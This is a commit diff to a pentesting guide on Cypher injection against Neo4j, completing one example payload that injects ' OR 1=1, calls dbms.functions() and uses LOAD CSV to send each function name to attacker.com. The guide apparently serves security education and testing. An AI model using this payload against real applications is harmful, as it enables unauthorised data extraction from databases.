Update cypher-injection-neo4j.md

2023-04-27 12:03:10 +02:00 · 2023-04-27 12:03:10 +02:00 · 86fd85255e
parent 379f9c450b
commit 86fd85255e
1 changed files with 1 additions and 1 deletions
--- a/pentesting-web/sql-injection/cypher-injection-neo4j.md
+++ b/pentesting-web/sql-injection/cypher-injection-neo4j.md
@ -151,7 +151,7 @@ Using the built-in procedures **`dbms.functions()`** and **`dbms.procedures()`**

 {% code overflow="wrap" %}
 ```sql
-' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 
+' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
 ```
 {% endcode %}